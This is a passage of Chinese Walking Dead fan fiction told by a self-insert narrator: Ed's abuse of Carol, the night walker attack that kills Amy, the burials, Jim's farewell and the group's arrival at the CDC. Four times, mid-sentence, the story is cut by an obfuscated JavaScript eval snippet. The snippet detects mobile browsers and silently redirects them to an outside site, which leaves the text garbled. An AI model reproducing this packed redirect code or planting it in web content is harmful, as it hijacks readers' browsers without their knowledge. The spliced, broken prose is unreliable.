“哦天呐。”我连忙摇头,脸上也热了起来,我果然不适应这种话题。 明明这是末日中多么和谐的一幕,偏偏有人想让大家都不痛快。艾德不满我们的欢笑声,他叼着烟走过来,问我们笑什么。我一点也不想搭理这个家暴男,是安德莉亚回的他,他警告卡罗尔专心洗衣服,可我觉得他是在警告我们每个人。 “啧。”我撇撇嘴,冷下脸,把对他的怨气全部发泄到衣服上,快把手上的一件衬衫搓烂。艾米担忧地按住我的手,我放下衬衫,盯着水面发呆,家暴的男人能不能都被行尸咬死啊,不过他确实今晚就要死了。想到这里,我会心一笑,同时不由得局促起来。 然而我虽忍着艾德的暴脾气,同样看不惯他的安德莉亚却再也忍不了了,很快两人就爆发了争吵。艾德出言不逊,根本不知道尊重两个字怎么写,他要带走卡罗尔,我们不会允许。 “你要不现在跟我走,要不你会后悔的!”能说出这种话的统统是混蛋,艾德无疑是营地中最无底线的混蛋。 雅基斥责艾德:“跟你走,然后身上出现新的伤口吗?我们都看到了。” 尽管艾德的身形是我的两倍,我大步上前,昂首骂道:“你除了辱骂殴打女人以外,你还会做什么,抽你的破烟,满嘴臭气,百无一用地干坐着,像个废物一样!你以为你很厉害吗,你错了,你要是个男人,就该和达里尔他们一起进城去打行尸,而不是在这里欺负女人,你也就会欺负女人了,因为你只敢欺负女人!” 被我的话激怒,艾德吐出他嘴里的烟,朝我步步逼近:“别以为你是迪克森带回来的我就不敢打你!” “哈,我说的没错,你只敢打女人,你怎么不去打达里尔?因为你怕他,你知道你打不过他,他会把你揍得屁滚尿流,打得连你妈都认不出来!” “你成功惹到我了!”艾德的面容越发可怖,戾气暴涨,我看不出人样。 但他还是没有对我动手,只是粗鲁地抓住卡罗尔的胳膊:“走,我们走!” “不行,卡罗尔你没必要跟他走。”安德莉亚拉住卡罗尔,我则挡在艾德身前推开他,他对我们破口大骂,抬起手扇了卡罗尔一记耳光。 我用力想要把艾德推倒,但他的体格太大了,并且我也挨了一巴掌,右脸颊顿时火辣辣的痛,就像是被烙铁烧灼过,头晕目眩,脑袋里一片空白,险些栽倒。 “过来!过来!”眼前的庞然巨物不见了,我定睛看去,是刚刚在洛莉那里吃了瘪的肖恩不爽地把艾德拽到一边,按在地上对他大打出手,警告他如果再打营地的任何一位女性,就杀了他。 眼下营地里,也就只有肖恩能制服艾德了。 艾米扶着我,安德莉亚拦住想冲过去的卡罗尔,我看见艾德的脸上全是血,是肖恩拳拳到肉打出来的。 “对不起,对不起,艾德……” 我不明白,为什么卡罗尔还在向艾德道歉,她求肖恩住手,肖恩打够了,气也撒了,起身退开。 “到底有什么好对不起的,肖恩就算把艾德打死都不过分。”我抱怨了一句,艾米冲我摇摇头,领着我回到营地处理脸上的伤。 这一巴掌真够狠的,打得我嘴里生生冒出一股铁锈味,整个右脸都红肿起来,难以想象卡罗尔母女在艾德这种怪物的压迫下是怎么活到今天的。 下午,吉姆不出意外地在山上挖坑,我远远旁观,给卡尔、索菲亚还有其他的孩子讲故事,然后打算在周围搜寻行尸,可直到夜里也没有发现一只。艾米唤我吃饭,众人围着火堆坐在一起聊戴尔坚持每天上发条的手表。我的心思全不在这里,有意无意地往黑暗的林中望去。 “你怎么了,好像很紧张。”艾米察觉到我的异样。 “不,没什么,就是脸有点疼。” 听到我的话,卡罗尔向我道歉:“安,真对不起,艾德他……” “该道歉的不是你,卡罗尔,你也被打了。” 气氛变得低沉,艾米突然起身,安德莉亚立马问她去哪。 “我得去方便一下,你也太一惊一乍了吧。” 众人发笑,我站起来与艾米同去。 她进到房车里方便,我在车外等候,拿起一旁的铁锹防身,做好应对行尸出没的准备。 “厕纸用完了吗?”刚进去就出来了的艾米见我握着铁锹,“安,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790940|174952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在干嘛?” 话音未落,一只行尸悄然出现在我右侧,我赶忙砸向行尸的脑袋,艾米放声大叫。 惊叫声划破黑夜,刚刚还相谈甚欢的众人纷纷慌乱地望向我们,而行尸们也因为艾米的尖叫变得更加兴奋。 “艾米,快跑!到安德莉亚身边去!” 被我打倒在地的行尸重新站起,我的力气还没有大到一次就能打碎他的脑袋,用力又砸了好几次,才把行尸的脑袋打得四分五裂,犹如破碎的西瓜,我稍稍松口气,耳边的嘶吼声正不断传来,他们的数量越来越多,跟见了鬼一样,源源不断地从林子里走出来,刹那间,此起彼伏的呼救声与哭泣声涌进我的耳中。这些声音里,我听到了安德莉亚,她在哀嚎,为什么,艾米不是没有被咬吗? 我循声找去,艾米竟躺在地上抽搐,一只行尸压着她撕咬她的脖子,她离我有些距离,我依然能闻到浓郁的腥味。 四下慌乱,原本井然有序的营地犹如一座沙子垒成的城堡被一脚踢得分崩离析,肖恩与戴尔几人拿起猎枪击杀行尸,洛莉、卡罗尔等人护着孩子往温尼巴格车逃去。 “安,小心!” 卡罗尔叫喊着,我回过神来,因为艾米的丧命,我已经失了分寸,双手发抖,连行尸到了我面前都没反应过来,一下子就被扑倒在地,横起手臂抵住行尸的脖子不让他腐烂的嘴巴靠近我,忍受着令人作呕的臭气,行尸那医用骨骼模型似的脸在我眼中不断放大,我摸到掉落的铁锹,迅速抓住尖部戳进行尸的脑袋中,液体流了我满脸。 顾不得处理身上恶心的液体,我推开行尸,赶紧往艾米跑去,路上抓住我的行尸在触碰到我的瞬间被戴尔爆了头,我心有余悸,敲碎正撕咬艾米的那只行尸的脑袋。 好在这些行尸的速度并没有很快,只是胜在数量与带给人的恐惧。 这时候,达里尔他们应该都听到营地响起的枪声,正匆匆赶回来。 已经有许多人死于行尸之口,皮肉被从身上剥离,露出里面的骨头,成为行尸的饱餐,他们死时脸上痛苦的神情深深印在我脑海中挥之不去。正如瑞克所说,这是一场噩梦,一场永远醒不过来的噩梦。 我竟不知道该做什么,还能做什么,我想救艾米,所以我跟着她,让她远离第一个行尸,可还是被别的行尸咬伤,我什么都做不到,我救不了他们,我无能为力。 “安!安!” 熟悉的声音从远处传来,好像是……达里尔! 他们的到来伴随枪声与倒地的行尸,我心中再次燃起希望,抡着铁锹挥向一只靠近卡罗尔与索菲亚的行尸,这次我只用两下就把行尸解决掉了。 有了瑞克他们的帮助,营地里出现的行尸没多久就全部被杀死,吵闹声戛然而止,山谷里重新恢复平静,唯有发自悲伤的啜泣提醒着大家刚刚发生的一切已成定局。 黑夜之中,火焰燃烧木头噼啪作响,人们呼吸沉重,心也沉重。 吉姆环视满地的尸体,失魂落魄,喃喃道:“我现在想起我做的梦了,我为什么要挖那些坑。” 5. 埋葬 如果一切都无法改变,那我到这里的意义是什么,就只是再看一遍他们的死亡吗,还是来给大家添乱,或者是让我把以后的事情都告诉他们,好让他们做出最优的选择。不,不对,那样的话,我一定会被当成疯子的。如果他们知晓了未来,那么很多事情、很多人就将脱离原本的轨迹,偏离了方向,也许会造成更严重的后果。 “也许,也许……”坐在山坡上,我抱着双腿,凝视眼前被晨光笼罩的亚特兰大,此时正该是城市苏醒之际,从浓郁的咖啡香味开始,在林立的高楼大厦间,人们熙熙攘攘,车辆川流不息。高跟鞋细长的鞋跟优雅地踩进电梯,文件从一张桌子被转手到另一张桌子,阳光不仅透过落地窗照射进大楼内,也照耀着各色商铺的橱窗,散发斑斓的光芒,橱窗内的假人身着前卫的服饰,过路的年轻人总忍不住多瞟几眼,盘算起兼职过后购置一套新衣送给恋人。 然而,从服装店门口经过的不再是朝气蓬勃的男男女女,而是佝偻着背,人不像人,动物不像动物的行尸,他们是会动的死人,被声音与鲜血吸引,见活人就咬。 城市已经不归人类所有,而被行尸占据,寂静无声,就像是时间静止,空气凝结,又像是退回到亿万年前人类还未进化出来的时候。 “啪嗒。” 身后传来树枝被踩断的声音,我抹掉眼眶中不知何时溢出的泪水,回头看去,来人是达里尔,他的脸色也不好看,多半是因为莫尔的失踪,我知道一切,但我不敢告诉他。 “你们找到莫尔了吗?”我问出这句话,他来到我身边坐下。 “没有,天台上只有他的一只手,那群混蛋把我哥哥一个人留在那里等死。” 他说得咬牙切齿,我低下头,缓缓道:“这是个好消息,说明他没有死,也许你们之后还会再见。” “又是也许,你可真爱说也许。”毕竟我总不能说一定吧,等事情真的发生了,他们就会意识到我犹如拿着剧本,有未卜先知的能力,甚至会被视作一切意外的始作俑者,我不敢赌他们已经完全信任我。 不知道该怎么回他,达里尔也不说话了,我们沉默地坐了一会儿。良久,他犹豫着开口:“昨晚很艰难对吗?我和莫尔把你带到这里,你还是遇到了行尸。” “遇到行尸不是很寻常的事情吗,要不是你们救了我,我早就死了,还会坐在这里?”我脑中闪过艾米的死状,强烈的愧疚感吞噬全身,声音变得颤抖,告诉达里尔也无妨吧,“也许他们都可以不用死的,我,我知道行尸会来。” “你怎么会知道?”他略微震惊地看着我。 我深呼一口气,抬起头直视达里尔的双眼,可是他的眼神太过锐利,好似能洞察人心,我心虚得移开视线,终究没有将真相说出来:“我梦到了,我梦到昨晚会有行尸袭击营地,而且昨天早上林子里那只就是预兆。” 他仿佛听了个笑话:“吉姆也说他梦到了,他挖的坑就是准备埋尸的,你和他一样疯。听着,不管你现在在想什么,事情都已经发生了,人死不能复生,你该想着以后,而不是被困在昨晚。你是我和莫尔救的第一个人,他现在生死不明,你的命就是我的,我带你来这是希望你能有点用,而不是哭哭啼啼,所以给我打起精神来,拿出昨晚打行尸的劲头!” 擤了擤鼻子,我点点头,他还在盯着我看,我却不敢偏移一点目光,生怕与他对视。 “你的脸怎么回事?别告诉我是行尸打的。” “艾德,”我回答道,“是他打的我。” “可惜,那个混蛋已经死了,不然我会揍得连他妈都认不出来。” “谢谢你。” “不用谢我,”达里尔站起身,“你已经学会保护人了,过来,我们得往前走。” 我也站了起来,拍拍裤子上的尘土,和达里尔一起回到营地。 经此一夜,众人变得“冷血”,对前一日还在友好交谈的人挥起铁锄,砸碎他们的脑袋,以防他们变成行尸。 安德莉亚在艾米的尸体旁边守了一夜,纹丝不动,缄默不言,我很想走过去安慰她,也想再看看待人友善的金发姑娘,身体却控制不住地发起抖。 “我以为你们才刚认识。”达里尔循着我的目光也看向艾米。 “她是个很好的人,我们聊的很多。” “我邻居的奶奶也很好,还不是变成了行尸。那个死去的女孩是个定时炸弹,不如一箭射过去了事。” “不可以。安德莉亚会做出决定的。” 他轻笑一声,似乎并不相信我说的,提起锄头去帮格伦他们处理尸体。 瑞克慢慢上前准备劝说安德莉亚把艾米的尸体交给大家,她条件反射地掏枪对准瑞克,言语中尽是威胁之意,除了自己,不会允许任何人接近艾米。然而她清楚地知道必须对艾米的尸体做点什么,所以她一定会开枪的,她会亲手解决变成行尸后苏醒过来的艾米,这实在是太过残酷,我不想看,并且想起了吉姆,不确定这一次吉姆有没有被行尸咬伤。 不等我找到吉姆,雅基便已发现他在流血,大声告诉大家吉姆被咬了。 与原剧中一模一样的剧情,我心灰意冷,停留在原地。 达里尔闻讯赶来,肩上扛着鲜血淋漓的铁锄,大家控制住吉姆,掀开他的衣服,肚子上果然有一道猩红的咬痕。 “你感觉怎么样?伤口是不是很痛?”愣了一会儿,我才走到吉姆身边坐下。 “有点,但能忍受,只是不知道要多久我会变成行尸。” 我看了看另一边正在讨论的瑞克几人,他们正在做是去军事基地还是疾控中心的决定,瑞克不会放弃任何人,我安抚吉姆,可是话到嘴边却变得冷冰冰的:“被咬伤后,你会越来越虚弱,器官快速衰竭,直到死亡,然后就变成行尸,身体开始腐烂。” “你很清楚。” “……见得多了。” 目睹死亡的感觉并不好受,活生生的人在尖叫之后就安静地躺在地上,他们再也不会笑,不会说话,永远离开我们。亲身体会,方知其中悲哀,我宁愿做一个屏幕前的旁观者。 痛定思痛,下一个遇害的是索菲亚,这次我誓要比死神先找到她。 “吉姆,瑞克一定会想办法救你,说不定真有救呢。而且其实往好处想想,至少不用再提心吊胆地活着了。”既然死亡已成定局,不如勇敢地接受,我还想撒谎让他乐观些,可他的脸上突然露出惊恐,我疑惑地扭过头,达里尔正举着铁锄气势汹汹地朝我们大步走来。 我赶紧拦住他,叫他住手:“你干嘛!快放下!”瑞克也追上来拔出腰间的左轮手枪对准达里尔。 “别激动!瑞克,他不会对吉姆动手的,把枪放下,都把武器放下。”这兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790941|174952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟两人前期还真是不对付。 达里尔视吉姆为准丧尸,是丧尸就必须死。 “我们不杀活人。” 瑞克的经典台词出现了,我真希望到后来他还能想起现在说出这句话的自己,不过不得不承认,他真有魅力。 我踮起脚,握住达里尔的手腕,他的手上浸着汗水,呼吸有些急促,听上去刚刚处理了很多尸体的脑袋,我皱眉摇头,让他把铁锄放下:“就算要杀,等到吉姆变了以后再杀也不迟,我们这么多人看着他,不会出事的。” 达里尔扫了我一眼,我不禁打了个冷战,随后他不爽地走开,我跟过去,找到昨晚的铁锹,和他一起打爆尸体的头。 铁锹重重砸下,宛如拍碎果冻般,一整个圆溜溜的脑袋变得扁平,带血的肉块粘黏,差点没让我把隔夜饭吐出来。 嘲笑声从达里尔嘴中飘出,我拄着铁锹,好奇问他:“目前为止,你一共杀了多少行尸?” “数不胜数,”他漫不经心地应道,“行尸是杀不完的。” “也许可以拿核武器轰一下。” “想毁灭世界就直说,那些相关人员可能也都变成了行尸。” “呜呼,那我们可太厉害了,我们还是能思考的人类。” 被我的话逗笑,达里尔眉头轻挑,抿住嘴角,眼底闪过少见的喜色。 我们都没注意到卡罗尔迈着沉重的步子走来,她注视地上一具尸体许久,我和达里尔才发现那是艾德。 “让我来吧,他是我的丈夫。” 达里尔侧目瞥向我,我全神贯注地看着卡罗尔,把手上的铁锹递给她,随即,卡罗尔朝艾德的脑袋似是发泄地砸下去,每一下都承载多年来受到的委屈与侮辱,我不觉得她是在为艾德哭泣,而是在告别过去悲惨的生活,她还不能完全从中摆脱,艾德带来的阴影会跟随卡罗尔一段日子,但是用不了多久,卡罗尔不会再哭,艾德也会彻底从她的世界中消失。 不多时,尸体都处理得差不多,意料之中的枪声响了。 是安德莉亚的枪,她杀死了变成行尸的艾米,身边有戴尔陪伴。 “团队里有位老者还是蛮好的,大家多多少少都会听他的意见。” 无论是戴尔还是赫谢尔,他们拥有着我们这些人没有的阅历,因此总能用不同的视角看待问题,不过达里尔不这么认为,他昨天可是刚骂过戴尔。 这种事放在达里尔身上太过正常,因为他对所有人都这样。 之后,达里尔和我开车运尸体埋葬,他主张把所有的尸体一股脑烧了了事,但格伦更希望把伙伴的尸体埋进土里。 “我们一开始是说烧个干净,一了百了,那位中国小子太感情用事了,说事不能那么来,我们就这么被牵着走。他们该知道这里是谁管事,规矩是什么。” 我说道:“格伦是韩国人。” 瑞克一边挖坑,一边纠正达里尔:“这里没有规矩。” 众人渐渐到齐,洛莉也说作为人,就要有时间哀悼逝者,要埋葬他们。 “你也这么觉得吗?”达里尔问我。 我说是。 安德莉亚抱来艾米的尸体,戴尔要帮助她,被她拒绝,她想自己来。 每个人都站着坟坑边,面露不忍,落泪,默哀,包括我,但是不要把泪流光了,这样的场合之后还有多次。 6. 疾控中心 决定好前往疾控中心,莫拉莱斯一家选择投奔在伯明翰的亲戚,瑞克和肖恩给了他们一把手枪和一盒剩下一半的子弹。没有人知道他们会遇见什么,莫拉莱斯的妻子儿女们又是如何离开的,最后只剩下他一个人出现在救世军的维修站。 他说想赌一把,瑞克也是。 “上车!” 达里尔没有指明道姓,但所有人都认为他是在唤我,我犹豫着朝他走去,说道:“我和雅基一起照顾吉姆。” “那个死人?”他难以置信地看着我,“真不明白你们一个个的为什么都对那个死人上心,你去吧,最好让他把你们都咬死,我好拿弩射穿你们的脑袋。” 感受到达里尔的怒气,我咽了咽口水,辩解说:“吉姆还没死。” “他快了!” 我刚想再说什么,听到身后雅基叫我的名字,于是赶紧跑上房车,关闭车门前,我瞥向达里尔,他坐在车中,手伸向窗外,透过车前玻璃,我看不清他的表情,他不会那么快消气的。 一直以来,我都很讨厌夏天,更厌烦聒噪的蝉鸣,烈火般的太阳烧灼大地,空中翻滚的热浪一层接一层无休无止,我被这从缝隙中渗进来的浪花淹没,汗珠密密麻麻遍布我的额头,挂上我的鼻尖,我喘不上气,皮肤也莫名发痒,挠了以后又刺痛,叫我浑身不自在。如同宣示威严,这样的鬼天气正夺走生命的活力,游荡的行尸因为高温而加速腐烂,气味从城市扩散到郊外。 吉姆的情况越来越差,仿佛被电影里的恶魔附身,即将变得狰狞与污秽,他的生命同样在流逝,根本撑不到疾控中心。 雅基不断地擦拭他脸上的汗,我则与吉姆说话,让他保持清醒,可他回应我的只有哀嚎。 不知道过了多久,房车不出意外地出了意外。 对车一窍不通的我本可不用与戴尔他们下车查看情况,只是我急需呼吸新鲜空气。达里尔拿着弩警惕周围,我们不经意对视一眼,我默默移开目光。 吉姆马上就要不行了,我想了解人被咬后变成行尸的整个过程,所以待在他身边观察,这期间除了痛苦别无他物。如果以后的某一天我不幸变成了这样,真希望他们可以在第一时间杀了我,要快一点,我怕痛。 思绪未息,雅基便从车上匆匆跳下来。大家面面相觑,不言而喻。 瑞克一个人进到车内与吉姆交谈,出来后告诉大家,吉姆希望可以把自己留在这里。他们这个时候都还做不到无情地结束一个人的生命,可是随着以后无数的离别,都会变成绝情的“刽子手”。被咬以后注定成为行尸,若是伤在手臂或者腿,尚且可以截肢保留性命,若是其他部位,唯有尽早结束一切。 他们把虚弱的吉姆带到临近的一棵树下,肖恩于心不忍,还想去劝他回心转意,被吉姆果断回绝,他铁了心如此,甚至觉得燥热的风都是美好的。 我们每个人陆续上前与他道别,达里尔也不例外,不善言辞的他只是朝吉姆颔首,随后走开。我注意到坐在车门口掩面啜泣的雅基,喉间哽咽,才发现自己哭了。 “嘿,”吉姆艰难地向我伸手,“别这样,你之前还安慰我来着。” “是啊,不过那时候,你的状况好很多。”我走过去,蹲下来握住他的手。 “你说你见了很多,你在说谎。” 我没有否认。 “该走了,快去,你们还要继续赶路。”他越说越慢,声音也逐渐听不清楚。 “吉姆,没事的,你等下就没事了。” 他笑着点点头,脖子已经没有力气再撑住脑袋,头缩了起来,推了推我,眼睛慢慢看向头顶细碎的阳光。 每一天都在上演离别的戏码,纵使经历千百次,仍会流下第一次时的眼泪。 我坐上达里尔的副驾,大家朝疾控中心前进,唯有吉姆在后退。 过往种种在末世之下都微不足道,行尸才不会管你是什么身份,住在哪里,存款有多少,只要你是人,那就随时会成为一具行走的尸体,这也许就是百分百的公平。 我们总共五辆车子在道路上行驶,林中偶有行尸被声响吸引,我从车窗探出脑袋往后望去,一只男性行尸走下山坡,脚底被绊住,滚落到路上,然后扭动僵硬的四肢站起来,一瘸一拐地跟在车后面,它永远都追不上我们。 “那么喜欢看行尸,我不介意现在把你丢下去!”达里尔真的减了速,我眼见着离前面的车越来越远,顿时郁闷,不明白他哪根筋搭错了,同时又怕他说到做到,因此不敢言语,车内的气氛古怪而尴尬。 太阳渐渐西斜,隐没在厚重的云层后面,天地沉静,压得人毛骨悚然。我们抵达目的地,此处尸横遍野,浓郁的腐臭味与其他地方的没有什么不同,苍蝇嗡嗡直叫,盘旋在每一具尸体的上方。这里有军队驻扎的痕迹,想来是全军覆没了。 戴着警帽的瑞克与肖恩持枪打头阵,达里尔护在最边上,T仔走最后,我们捂住口鼻,小心翼翼经过数不胜数的死尸,有的躺在草坪上只剩下身躯,有的倒在血泊里满脸焦黑,我想,这些不仅仅都是被行尸咬死的,也有镇压时不慎被误杀,以及被坦克碾死的。 这一幕带给我的冲击难以用语言形容,上一次还是在一顿美味的晚餐中发现了一只死去的肥胖的蛆虫,而这次,比成百上千只蛆虫还要令我瞠目结舌。我难以想象地上的都曾是活生生的人类,他们完全没有人的样子,是毁灭世界的怪物,是从地狱的岩浆中逃出来的魔鬼。 索菲亚害怕得不停发抖,我迈着步子靠近卡罗尔母女,轻抚索菲亚的后背,小声道:“别怕,我们快到了。” 正如我所说,瑞克与肖恩带我们停在一栋建筑的门前,卷帘门紧闭,他们试了试,根本没法从外面打开,肖恩拍打两声,认定里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790942|174952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面没人,瑞克却坚信有人,不然这些门是不会落下的。 与此同时,不知是谁喊了一声“有行尸”,本就沮丧的众人惊慌张望。达里尔射出一箭,箭矢贯穿正缓缓朝我们靠近的行尸的头,他本来就在气头上,这下更是怒气冲冲地埋怨瑞克把我们所有人送上死路。 我让卡罗尔母女和洛莉母子站到最里面,想要劝达里尔冷静,可他那张凶恶的脸过于骇人,吓得我一个字也说不出来。 “我们该去哪里?”卡罗尔搂紧索菲亚一刻也不松手。 洛莉急得看向瑞克:“我们该离开这里,天快黑了,这里离城区太近了。” 肖恩仍不忘他前往本宁堡的提议,但我们缺少食物和燃料,并且相距一百二十五英里,难于上青天。 当下最重要的是我们今晚该怎么过。 大家都想立即离开,我想了想,念叨一句:“如果这里面有人,他一定就在摄像头那边看着我们。” 受到我的提醒,瑞克注意到门上的摄像头,他叫住众人:“动了!摄像头动了!” “你看错了!”肖恩不信。 “真的动了!”瑞克一边说,一边走近。 “瑞克,这已经报废了!这是个自动装置而已好吗?不过是机器转了回去,快点走吧!你看看这四周,全都完了你明白吗?别再揪着这里不放了!” “瑞克是对的!”我出声证明,“这里面也许真的有人。” “也许也许,又是也许!”语气中带着愤怒,达里尔脸色铁青,指着我的鼻子骂,“又是你梦到的?你能不能做点有用的,不要在这里和那个痴人说梦的傻冒一起发疯,要么现在一起走,要么你留在这里变成行尸!” 达里尔最后的几个单词被瑞克敲击卷帘门的声音盖过,附近的行尸正包围过来,大家拼命阻拦他,要把他拉走,但是瑞克对着摄像头叫喊:“我知道你在里面,我知道你能听到我说话,求求你!我们走投无路,请帮帮我们!我们有妇女和儿童,没有食物,汽油也快没了,你不让我们进去就是在害我们!你不能见死不救!你是要害死我们!” 肖恩强硬地把瑞克拽走,大家要回到车上,我别无他法,只能跟着一起转移,暗自祈祷疾控中心里的詹纳博士快些开门。 就在瑞克都放弃了的时候,我眼前昏暗的世界出现了耀目的白光。 卷帘门升起,从中射出的明亮光线照亮我们所有人,我心中大喜,转眼去看众人,他们皆愣在原地,除了瑞克以外,所有人的脸上呈现出惊愕的神色。 此时此刻,我感到无比的庆幸,这是瑞克一次正确的选择,他带领我们找寻出路,他会用实际行动告诉大家,他值得信赖,是队伍里的中流砥柱,当之无愧的领袖。 而这道笼罩着我们的光,也是第一道射进大家心中驱散阴霾的光,是瑞克·格兰姆斯永不放弃的希望之光。 7. 醉酒 “达里尔,你掩护后方。” 我们逃似的进到建筑内,肖恩提醒大家小心,注意门口随时可能出现的行尸。 大楼里面空旷幽寂,并不像有幸存者居住,大家还未彻底放下心,谨慎地观察四周,他们不确定这会不会是另一个牢笼。 突然,上膛的声音响起,众人举枪应对,埃德温·詹纳博士站在暗处,他黑压压的枪口正瞄准我们:“有没有谁被感染?” “有个人被感染了,”瑞克一时哽住,轻声回答,“他没有撑到这里。” “为什么来这,你们要干什么?”詹纳博士盘问道。 “一个机会。” “这年头这也算是奢望了。” 瑞克顿了顿:“我知道。” 詹纳博士打量我们每一个人:“你们都得做个血液检测才行。” 他告诉大家大楼的门一旦关上,就开不了,于是达里尔他们赶出去把车上的行李弄进来,詹纳将大门密封,并关闭这里的电源。 狭窄的电梯内,我们十三个人挤在一起,我站在角落,对角是一手持枪,一手架弩的达里尔,他紧盯詹纳的后背,敌意不减:“博士们四处走动时都拿着枪吗?” “外面躺着很多行尸呢,我很清楚我自己怎样才能活下去,”詹纳转身看向他,随后扫了一眼我们,“不过你们看上去没有什么威胁,除了你,我会一直看着你的。” 詹纳指的是卡尔,这明显是个玩笑,因为我听到了他轻微的笑声。 电梯降到疾控中心的地下,这个地方只剩詹纳一个人,以及名叫“维”的人工智能。这与瑞克预想的全然不同,他本是希望能到这里获得帮助,找到关于行尸病毒的答案,可眼前的现实打击着他,他难掩心中失落。 詹纳为我们抽血时,达里尔仍将弩对准他,我瞥向达里尔,达里尔也看到我,不等我先移开视线,倒是他先收回目光,手里的弩也偏了几分。 安德莉亚抽完血从椅子上站起,身形恍惚,脚步踉跄,雅基及时扶住她。我们自从离开营地以来,食物早就吃光了。 好在今天终于不用再挨饿,疾控中心留有许多物资。 餐桌之上,大家推杯换盏,笑语盈盈。我坐在索菲亚旁边,饮了一大口杯中的酒,香醇的液体从我的舌尖滑过,我又倒满,只想多喝一些,好睡个安稳觉。慢慢的,我意识到脸上的温度渐渐升高,垂着脑袋,埋头享用盘中新鲜的牛肉,我几乎快忘记世间还有这种美味了。 “安,你怎么样?”卡罗尔拿走我手边仅剩一口的酒瓶,“你不该喝这么多的。” 我摇摇头,扯出笑容:“没事,我只是习惯性脸红,并不代表我不能喝。” 就在我们说话的空当,卡尔受到瑞克和戴尔的鼓动,喝下一口酒,立即嫌恶地发出一声“哕”,他讨厌酒的味道,肖恩让他多喝果汁。 我被卡尔那副吃了蟑螂似的表情逗笑,抬眸正好对上达里尔的眼睛,他掠过我附和肖恩,冲格伦喊道:“没说你,继续喝吧,小伙子,让我看看你能脸红到什么地步。” 格伦的脸还没有红,反而我的脸应该红得吓人了,卡罗尔提出带我去休息,我拒绝她:“大家都还在这里呢。” 我不说还好,一说,所有人都往我这边看,格伦关心地问我是不是醉了,我立即否认,强调自己哪怕才喝一口就会脸红。 “我一直以为安还是个孩子。”戴尔说起他对我的误解。 肖恩道:“和格伦一样,他们看起来都很年轻。” “为什么是看起来,我们本来就很年轻。”我刚说完,达里尔就走到我身边,端起我的酒杯,将里面的半杯一饮而尽,可明明他自己手上就有一整瓶。 众人其乐融融,只有瑞克注意到一旁的詹纳,他敲响杯子,示意我们向詹纳敬酒,表示感谢。 肖恩趁机询问起这里发生的事,瑞克出声阻拦,他应该是不想在这么轻松的时候谈论沉重的话题,可肖恩执意如此,因为我们一行人来到这里就是为了这个,而不是为了蹭一顿饭。 原来灾难降临后,疾控中心的很多人都走了,他们去寻找家人,后来形势恶化,军事防御被击溃,其他人都逃走了,有很多人无法面对外面充满行尸的世界,选择自杀结束生命。 随着詹纳结束讲述,整个房间鸦雀无声,我们面面相觑,活跃的气氛凝滞,所有人都皱起了眉头。 我对这一切持着无所谓的态度,因为纵观十一季,这里发生的事情只算得上一个无足轻重的小插曲。 迷迷糊糊中,我听见格伦指责肖恩扫兴。 再然后,是卡罗尔扶我到了住宿的地方,她离开前叮嘱如果我感觉不舒服,随时去找她,我乖巧应下,躺到床上一动都不想动,只愿放空大脑睡一觉,但是不行,我得洗个热水澡,把身上的味道全部清洗掉,然后换一身衣服,这衣服是来到营地第一天晚上,艾米送给我的。 干净而温热的水从头顶淋下,冲走数日的疲惫,并让我从酒中清醒,我仿佛从梦中回到真实,冷静了许多。洗完后,我走出房间想去看一看安德莉亚,她还需要很长时间才能从艾米的死亡中走出来。 明亮的走廊中,我遇到了瑞克,虽然他没有说,但我知道他是要去找詹纳。 “谢谢你,安。” 我愣了一下,问他:“谢我什么?” “在门口,谢谢你支持我。” “客气了,”我笑着回应,“我的直觉很准,你值得被信赖。” 我们擦肩而过,我来到安德莉亚房前,听到里面的哭泣声,以及戴尔说话的声音,有戴尔安慰她,她的心情会好多。我刚想离去,走廊中的一道门开了。 “你直觉很准哈。”是达里尔,他倚着门框,手上拿着另一瓶酒。 “你终于能心平气和地跟我说话了。” 达里尔没有回我,我们静静地相望。他应该气消了,我想,所以在房中听到我出现就主动与我说话。尽管算不上友善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790943|174952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 